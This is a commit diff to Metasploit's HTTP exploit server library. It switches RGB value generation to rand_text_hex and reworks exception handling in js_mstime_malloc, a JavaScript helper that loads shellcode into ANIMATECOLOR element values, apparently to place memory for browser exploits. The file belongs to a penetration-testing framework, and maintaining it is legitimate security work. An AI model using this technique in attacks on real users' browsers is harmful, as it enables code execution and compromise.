Uses rand_text_hex for RGB values, and correcting exception handling

lib/msf/core/exploit/http/server.rb

@@ -875,8 +875,6 @@ protected
 	#     </script>
 	#
 	def js_mstime_malloc
-		badchars = (0x47..0x5a).to_a.pack("C*") + (0x67..0x7a).to_a.pack("C*") 
-		rgb      = Rex::Text.rand_text_alphanumeric(6, badchars).downcase
 		%Q|
 		function mstime_malloc(oArg) {
 			shellcode     = oArg.shellcode;
@@ -896,15 +894,14 @@ protected
 					else        { buf += ";" + shellcode; }
 				}
 				else {
-					buf += ";##{rgb}";
+					buf += ";##{Rex::Text.rand_text_hex(6)}";
 				}
 			}
 
-			try {
-				e = document.getElementById(objId);
-				if (e == null) { throw "Invalid ANIMATECOLOR element"; }
-				e.values = buf;
-			} catch (e) {}
+			e = document.getElementById(objId);
+			if (e == null) { throw "Invalid ANIMATECOLOR element"; }
+			try { e.values = buf; }
+			catch (e) {}
 		}
 		|
 	end